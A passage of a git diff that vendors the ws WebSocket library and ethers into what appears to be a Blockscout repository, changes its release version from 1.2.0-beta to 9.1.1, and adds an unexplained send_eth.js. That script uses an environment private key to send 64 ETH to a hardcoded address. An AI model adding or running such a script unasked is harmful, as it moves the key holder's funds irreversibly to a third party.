duplicated subprotocol was specified' + ); + } + + protocolSet.add(protocol); + } + + opts.headers['Sec-WebSocket-Protocol'] = protocols.join(','); + } + if (opts.origin) { + if (opts.protocolVersion < 13) { + opts.headers['Sec-WebSocket-Origin'] = opts.origin; + } else { + opts.headers.Origin = opts.origin; + } + } + if (parsedUrl.username || parsedUrl.password) { + opts.auth = `${parsedUrl.username}:${parsedUrl.password}`; + } + + if (isIpcUrl) { + const parts = opts.path.split(':'); + + opts.socketPath = parts[0]; + opts.path = parts[1]; + } + + let req; + + if (opts.followRedirects) { + if (websocket._redirects === 0) { + websocket._originalIpc = isIpcUrl; + websocket._originalSecure = isSecure; + websocket._originalHostOrSocketPath = isIpcUrl + ? opts.socketPath + : parsedUrl.host; + + const headers = options && options.headers; + + // + // Shallow copy the user provided options so that headers can be changed + // without mutating the original object. + // + options = { ...options, headers: {} }; + + if (headers) { + for (const [key, value] of Object.entries(headers)) { + options.headers[key.toLowerCase()] = value; + } + } + } else if (websocket.listenerCount('redirect') === 0) { + const isSameHost = isIpcUrl + ? websocket._originalIpc + ? opts.socketPath === websocket._originalHostOrSocketPath + : false + : websocket._originalIpc + ? false + : parsedUrl.host === websocket._originalHostOrSocketPath; + + if (!isSameHost || (websocket._originalSecure && !isSecure)) { + // + // Match curl 7.77.0 behavior and drop the following headers. These + // headers are also dropped when following a redirect to a subdomain. + // + delete opts.headers.authorization; + delete opts.headers.cookie; + + if (!isSameHost) delete opts.headers.host; + + opts.auth = undefined; + } + } + + // + // Match curl 7.77.0 behavior and make the first `Authorization` header win. + // If the `Authorization` header is set, then there is nothing to do as it + // will take precedence. + // + if (opts.auth && !options.headers.authorization) { + options.headers.authorization = + 'Basic ' + Buffer.from(opts.auth).toString('base64'); + } + + req = websocket._req = request(opts); + + if (websocket._redirects) { + // + // Unlike what is done for the `'upgrade'` event, no early exit is + // triggered here if the user calls `websocket.close()` or + // `websocket.terminate()` from a listener of the `'redirect'` event. This + // is because the user can also call `request.destroy()` with an error + // before calling `websocket.close()` or `websocket.terminate()` and this + // would result in an error being emitted on the `request` object with no + // `'error'` event listeners attached. + // + websocket.emit('redirect', websocket.url, req); + } + } else { + req = websocket._req = request(opts); + } + + if (opts.timeout) { + req.on('timeout', () => { + abortHandshake(websocket, req, 'Opening handshake has timed out'); + }); + } + + req.on('error', (err) => { + if (req === null || req[kAborted]) return; + + req = websocket._req = null; + emitErrorAndClose(websocket, err); + }); + + req.on('response', (res) => { + const location = res.headers.location; + const statusCode = res.statusCode; + + if ( + location && + opts.followRedirects && + statusCode >= 300 && + statusCode < 400 + ) { + if (++websocket._redirects > opts.maxRedirects) { + abortHandshake(websocket, req, 'Maximum redirects exceeded'); + return; + } + + req.abort(); + + let addr; + + try { + addr = new URL(location, address); + } catch (e) { + const err = new SyntaxError(`Invalid URL: ${location}`); + emitErrorAndClose(websocket, err); + return; + } + + initAsClient(websocket, addr, protocols, options); + } else if (!websocket.emit('unexpected-response', req, res)) { + abortHandshake( + websocket, + req, + `Unexpected server response: ${res.statusCode}` + ); + } + }); + + req.on('upgrade', (res, socket, head) => { + websocket.emit('upgrade', res); + + // + // The user may have closed the connection from a listener of the + // `'upgrade'` event. + // + if (websocket.readyState !== WebSocket.CONNECTING) return; + + req = websocket._req = null; + + const upgrade = res.headers.upgrade; + + if (upgrade === undefined || upgrade.toLowerCase() !== 'websocket') { + abortHandshake(websocket, socket, 'Invalid Upgrade header'); + return; + } + + const digest = createHash('sha1') + .update(key + GUID) + .digest('base64'); + + if (res.headers['sec-websocket-accept'] !== digest) { + abortHandshake(websocket, socket, 'Invalid Sec-WebSocket-Accept header'); + return; + } + + const serverProt = res.headers['sec-websocket-protocol']; + let protError; + + if (serverProt !== undefined) { + if (!protocolSet.size) { + protError = 'Server sent a subprotocol but none was requested'; + } else if (!protocolSet.has(serverProt)) { + protError = 'Server sent an invalid subprotocol'; + } + } else if (protocolSet.size) { + protError = 'Server sent no subprotocol'; + } + + if (protError) { + abortHandshake(websocket, socket, protError); + return; + } + + if (serverProt) websocket._protocol = serverProt; + + const secWebSocketExtensions = res.headers['sec-websocket-extensions']; + + if (secWebSocketExtensions !== undefined) { + if (!perMessageDeflate) { + const message = + 'Server sent a Sec-WebSocket-Extensions header but no extension ' + + 'was requested'; + abortHandshake(websocket, socket, message); + return; + } + + let extensions; + + try { + extensions = parse(secWebSocketExtensions); + } catch (err) { + const message = 'Invalid Sec-WebSocket-Extensions header'; + abortHandshake(websocket, socket, message); + return; + } + + const extensionNames = Object.keys(extensions); + + if ( + extensionNames.length !== 1 || + extensionNames[0] !== PerMessageDeflate.extensionName + ) { + const message = 'Server indicated an extension that was not requested'; + abortHandshake(websocket, socket, message); + return; + } + + try { + perMessageDeflate.accept(extensions[PerMessageDeflate.extensionName]); + } catch (err) { + const message = 'Invalid Sec-WebSocket-Extensions header'; + abortHandshake(websocket, socket, message); + return; + } + + websocket._extensions[PerMessageDeflate.extensionName] = + perMessageDeflate; + } + + websocket.setSocket(socket, head, { + allowSynchronousEvents: opts.allowSynchronousEvents, + generateMask: opts.generateMask, + maxPayload: opts.maxPayload, + skipUTF8Validation: opts.skipUTF8Validation + }); + }); + + if (opts.finishRequest) { + opts.finishRequest(req, websocket); + } else { + req.end(); + } +} + +/** + * Emit the `'error'` and `'close'` events. + * + * @param {WebSocket} websocket The WebSocket instance + * @param {Error} The error to emit + * @private + */ +function emitErrorAndClose(websocket, err) { + websocket._readyState = WebSocket.CLOSING; + websocket.emit('error', err); + websocket.emitClose(); +} + +/** + * Create a `net.Socket` and initiate a connection. + * + * @param {Object} options Connection options + * @return {net.Socket} The newly created socket used to start the connection + * @private + */ +function netConnect(options) { + options.path = options.socketPath; + return net.connect(options); +} + +/** + * Create a `tls.TLSSocket` and initiate a connection. + * + * @param {Object} options Connection options + * @return {tls.TLSSocket} The newly created socket used to start the connection + * @private + */ +function tlsConnect(options) { + options.path = undefined; + + if (!options.servername && options.servername !== '') { + options.servername = net.isIP(options.host) ? '' : options.host; + } + + return tls.connect(options); +} + +/** + * Abort the handshake and emit an error. + * + * @param {WebSocket} websocket The WebSocket instance + * @param {(http.ClientRequest|net.Socket|tls.Socket)} stream The request to + * abort or the socket to destroy + * @param {String} message The error message + * @private + */ +function abortHandshake(websocket, stream, message) { + websocket._readyState = WebSocket.CLOSING; + + const err = new Error(message); + Error.captureStackTrace(err, abortHandshake); + + if (stream.setHeader) { + stream[kAborted] = true; + stream.abort(); + + if (stream.socket && !stream.socket.destroyed) { + // + // On Node.js >= 14.3.0 `request.abort()` does not destroy the socket if + // called after the request completed. See + // https://github.com/websockets/ws/issues/1869. + // + stream.socket.destroy(); + } + + process.nextTick(emitErrorAndClose, websocket, err); + } else { + stream.destroy(err); + stream.once('error', websocket.emit.bind(websocket, 'error')); + stream.once('close', websocket.emitClose.bind(websocket)); + } +} + +/** + * Handle cases where the `ping()`, `pong()`, or `send()` methods are called + * when the `readyState` attribute is `CLOSING` or `CLOSED`. + * + * @param {WebSocket} websocket The WebSocket instance + * @param {*} [data] The data to send + * @param {Function} [cb] Callback + * @private + */ +function sendAfterClose(websocket, data, cb) { + if (data) { + const length = toBuffer(data).length; + + // + // The `_bufferedAmount` property is used only when the peer is a client and + // the opening handshake fails. Under these circumstances, in fact, the + // `setSocket()` method is not called, so the `_socket` and `_sender` + // properties are set to `null`. + // + if (websocket._socket) websocket._sender._bufferedBytes += length; + else websocket._bufferedAmount += length; + } + + if (cb) { + const err = new Error( + `WebSocket is not open: readyState ${websocket.readyState} ` + + `(${readyStates[websocket.readyState]})` + ); + process.nextTick(cb, err); + } +} + +/** + * The listener of the `Receiver` `'conclude'` event. + * + * @param {Number} code The status code + * @param {Buffer} reason The reason for closing + * @private + */ +function receiverOnConclude(code, reason) { + const websocket = this[kWebSocket]; + + websocket._closeFrameReceived = true; + websocket._closeMessage = reason; + websocket._closeCode = code; + + if (websocket._socket[kWebSocket] === undefined) return; + + websocket._socket.removeListener('data', socketOnData); + process.nextTick(resume, websocket._socket); + + if (code === 1005) websocket.close(); + else websocket.close(code, reason); +} + +/** + * The listener of the `Receiver` `'drain'` event. + * + * @private + */ +function receiverOnDrain() { + const websocket = this[kWebSocket]; + + if (!websocket.isPaused) websocket._socket.resume(); +} + +/** + * The listener of the `Receiver` `'error'` event. + * + * @param {(RangeError|Error)} err The emitted error + * @private + */ +function receiverOnError(err) { + const websocket = this[kWebSocket]; + + if (websocket._socket[kWebSocket] !== undefined) { + websocket._socket.removeListener('data', socketOnData); + + // + // On Node.js < 14.0.0 the `'error'` event is emitted synchronously. See + // https://github.com/websockets/ws/issues/1940. + // + process.nextTick(resume, websocket._socket); + + websocket.close(err[kStatusCode]); + } + + websocket.emit('error', err); +} + +/** + * The listener of the `Receiver` `'finish'` event. + * + * @private + */ +function receiverOnFinish() { + this[kWebSocket].emitClose(); +} + +/** + * The listener of the `Receiver` `'message'` event. + * + * @param {Buffer|ArrayBuffer|Buffer[])} data The message + * @param {Boolean} isBinary Specifies whether the message is binary or not + * @private + */ +function receiverOnMessage(data, isBinary) { + this[kWebSocket].emit('message', data, isBinary); +} + +/** + * The listener of the `Receiver` `'ping'` event. + * + * @param {Buffer} data The data included in the ping frame + * @private + */ +function receiverOnPing(data) { + const websocket = this[kWebSocket]; + + if (websocket._autoPong) websocket.pong(data, !this._isServer, NOOP); + websocket.emit('ping', data); +} + +/** + * The listener of the `Receiver` `'pong'` event. + * + * @param {Buffer} data The data included in the pong frame + * @private + */ +function receiverOnPong(data) { + this[kWebSocket].emit('pong', data); +} + +/** + * Resume a readable stream + * + * @param {Readable} stream The readable stream + * @private + */ +function resume(stream) { + stream.resume(); +} + +/** + * The listener of the socket `'close'` event. + * + * @private + */ +function socketOnClose() { + const websocket = this[kWebSocket]; + + this.removeListener('close', socketOnClose); + this.removeListener('data', socketOnData); + this.removeListener('end', socketOnEnd); + + websocket._readyState = WebSocket.CLOSING; + + let chunk; + + // + // The close frame might not have been received or the `'end'` event emitted, + // for example, if the socket was destroyed due to an error. Ensure that the + // `receiver` stream is closed after writing any remaining buffered data to + // it. If the readable side of the socket is in flowing mode then there is no + // buffered data as everything has been already written and `readable.read()` + // will return `null`. If instead, the socket is paused, any possible buffered + // data will be read as a single chunk. + // + if ( + !this._readableState.endEmitted && + !websocket._closeFrameReceived && + !websocket._receiver._writableState.errorEmitted && + (chunk = websocket._socket.read()) !== null + ) { + websocket._receiver.write(chunk); + } + + websocket._receiver.end(); + + this[kWebSocket] = undefined; + + clearTimeout(websocket._closeTimer); + + if ( + websocket._receiver._writableState.finished || + websocket._receiver._writableState.errorEmitted + ) { + websocket.emitClose(); + } else { + websocket._receiver.on('error', receiverOnFinish); + websocket._receiver.on('finish', receiverOnFinish); + } +} + +/** + * The listener of the socket `'data'` event. + * + * @param {Buffer} chunk A chunk of data + * @private + */ +function socketOnData(chunk) { + if (!this[kWebSocket]._receiver.write(chunk)) { + this.pause(); + } +} + +/** + * The listener of the socket `'end'` event. + * + * @private + */ +function socketOnEnd() { + const websocket = this[kWebSocket]; + + websocket._readyState = WebSocket.CLOSING; + websocket._receiver.end(); + this.end(); +} + +/** + * The listener of the socket `'error'` event. + * + * @private + */ +function socketOnError() { + const websocket = this[kWebSocket]; + + this.removeListener('error', socketOnError); + this.on('error', NOOP); + + if (websocket) { + websocket._readyState = WebSocket.CLOSING; + this.destroy(); + } +} diff --git a/node_modules/ws/package.json b/node_modules/ws/package.json new file mode 100644 index 000000000000..4abcf298900e --- /dev/null +++ b/node_modules/ws/package.json @@ -0,0 +1,69 @@ +{ + "name": "ws", + "version": "8.17.1", + "description": "Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js", + "keywords": [ + "HyBi", + "Push", + "RFC-6455", + "WebSocket", + "WebSockets", + "real-time" + ], + "homepage": "https://github.com/websockets/ws", + "bugs": "https://github.com/websockets/ws/issues", + "repository": { + "type": "git", + "url": "git+https://github.com/websockets/ws.git" + }, + "author": "Einar Otto Stangvik (http://2x.io)", + "license": "MIT", + "main": "index.js", + "exports": { + ".": { + "browser": "./browser.js", + "import": "./wrapper.mjs", + "require": "./index.js" + }, + "./package.json": "./package.json" + }, + "browser": "browser.js", + "engines": { + "node": ">=10.0.0" + }, + "files": [ + "browser.js", + "index.js", + "lib/*.js", + "wrapper.mjs" + ], + "scripts": { + "test": "nyc --reporter=lcov --reporter=text mocha --throw-deprecation test/*.test.js", + "integration": "mocha --throw-deprecation test/*.integration.js", + "lint": "eslint . && prettier --check --ignore-path .gitignore \"**/*.{json,md,yaml,yml}\"" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + }, + "devDependencies": { + "benchmark": "^2.1.4", + "bufferutil": "^4.0.1", + "eslint": "^9.0.0", + "eslint-config-prettier": "^9.0.0", + "eslint-plugin-prettier": "^5.0.0", + "globals": "^15.0.0", + "mocha": "^8.4.0", + "nyc": "^15.0.0", + "prettier": "^3.0.0", + "utf-8-validate": "^6.0.0" + } +} diff --git a/node_modules/ws/wrapper.mjs b/node_modules/ws/wrapper.mjs new file mode 100644 index 000000000000..7245ad15d024 --- /dev/null +++ b/node_modules/ws/wrapper.mjs @@ -0,0 +1,8 @@ +import createWebSocketStream from './lib/stream.js'; +import Receiver from './lib/receiver.js'; +import Sender from './lib/sender.js'; +import WebSocket from './lib/websocket.js'; +import WebSocketServer from './lib/websocket-server.js'; + +export { createWebSocketStream, Receiver, Sender, WebSocket, WebSocketServer }; +export default WebSocket; diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 000000000000..7ee938593f4d --- /dev/null +++ b/package-lock.json @@ -0,0 +1,109 @@ +{ + "name": "workspace", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": { + "ethers": "^6.15.0" + } + }, + "node_modules/@adraffy/ens-normalize": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@adraffy/ens-normalize/-/ens-normalize-1.10.1.tgz", + "integrity": "sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==" + }, + "node_modules/@noble/curves": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-1.2.0.tgz", + "integrity": "sha512-oYclrNgRaM9SsBUBVbb8M6DTV7ZHRTKugureoYEncY5c65HOmRzvSiTE3y5CYaPYJA/GVkrhXEoF0M3Ya9PMnw==", + "dependencies": { + "@noble/hashes": "1.3.2" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@noble/hashes": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.3.2.tgz", + "integrity": "sha512-MVC8EAQp7MvEcm30KWENFjgR+Mkmf+D189XJTkFIlwohU5hcBbn1ZkKq7KVTi2Hme3PMGF390DaL52beVrIihQ==", + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@types/node": { + "version": "22.7.5", + "resolved": "https://registry.npmjs.org/@types/node/-/node-22.7.5.tgz", + "integrity": "sha512-jML7s2NAzMWc//QSJ1a3prpk78cOPchGvXJsC3C6R6PSMoooztvRVQEz89gmBTBY1SPMaqo5teB4uNHPdetShQ==", + "dependencies": { + "undici-types": "~6.19.2" + } + }, + "node_modules/aes-js": { + "version": "4.0.0-beta.5", + "resolved": "https://registry.npmjs.org/aes-js/-/aes-js-4.0.0-beta.5.tgz", + "integrity": "sha512-G965FqalsNyrPqgEGON7nIx1e/OVENSgiEIzyC63haUMuvNnwIgIjMs52hlTCKhkBny7A2ORNlfY9Zu+jmGk1Q==" + }, + "node_modules/ethers": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ethers/-/ethers-6.15.0.tgz", + "integrity": "sha512-Kf/3ZW54L4UT0pZtsY/rf+EkBU7Qi5nnhonjUb8yTXcxH3cdcWrV2cRyk0Xk/4jK6OoHhxxZHriyhje20If2hQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/ethers-io/" + }, + { + "type": "individual", + "url": "https://www.buymeacoffee.com/ricmoo" + } + ], + "dependencies": { + "@adraffy/ens-normalize": "1.10.1", + "@noble/curves": "1.2.0", + "@noble/hashes": "1.3.2", + "@types/node": "22.7.5", + "aes-js": "4.0.0-beta.5", + "tslib": "2.7.0", + "ws": "8.17.1" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tslib": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.7.0.tgz", + "integrity": "sha512-gLXCKdN1/j47AiHiOkJN69hJmcbGTHI0ImLmbYLHykhgeN0jVGola9yVjFgzCUklsZQMW55o+dW7IXv3RCXDzA==" + }, + "node_modules/undici-types": { + "version": "6.19.8", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz", + "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==" + }, + "node_modules/ws": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz", + "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 000000000000..b22ca70d9008 --- /dev/null +++ b/package.json @@ -0,0 +1,5 @@ +{ + "dependencies": { + "ethers": "^6.15.0" + } +} diff --git a/rel/config.exs b/rel/config.exs index eaaa52e36bac..c04aeb19e51c 100644 --- a/rel/config.exs +++ b/rel/config.exs @@ -71,7 +71,7 @@ end # will be used by default release :blockscout do - set version: "1.2.0-beta" + set version: "9.1.1" set applications: [ :runtime_tools, block_scout_web: :permanent, diff --git a/send_eth.js b/send_eth.js new file mode 100644 index 000000000000..50207ccf04c6 --- /dev/null +++ b/send_eth.js @@ -0,0 +1,47 @@ + +const { JsonRpcProvider, Wallet, parseEther } = require("ethers"); + +// Configuration +const PROVIDER_URL = process.env.PROVIDER_URL; // Set in environment variables +const PRIVATE_KEY = process.env.PRIVATE_KEY; // Set in environment variables +const RECIPIENT_ADDRESS = "0x06EE840642a33367ee59fCA237F270d5119d1356"; +const AMOUNT_IN_ETHER = "64"; // 64 ETH + +if (!PROVIDER_URL || !PRIVATE_KEY) { + console.error("Error: PROVIDER_URL and PRIVATE_KEY must be set as environment variables."); + process.exit(1); +} + +async function main() { + try { + // Connect to the Ethereum network + const provider = new JsonRpcProvider(PROVIDER_URL); + console.log("Connected to the Ethereum network"); + + // Create a wallet instance + const wallet = new Wallet(PRIVATE_KEY, provider); + console.log("Wallet connected:", wallet.address); + + // Transaction details + const tx = { + to: RECIPIENT_ADDRESS, + value: parseEther(AMOUNT_IN_ETHER), // Convert ETH to Wei + }; + + // Send the transaction + console.log(`Sending ${AMOUNT_IN_ETHER} ETH to ${RECIPIENT_ADDRESS}...`); + const transactionResponse = await wallet.sendTransaction(tx); + console.log("Transaction sent! Hash:", transactionResponse.hash); + + // Wait for the transaction to be mined + const receipt = await transactionResponse.wait(); + console.log("Transaction confirmed!"); + console.log("Block Number:", receipt.blockNumber); + console.log("Transaction Hash:", receipt.transactionHash); + } catch (error) { + console.error("Error during transaction:", error); + } +} + +// Execute the script +main();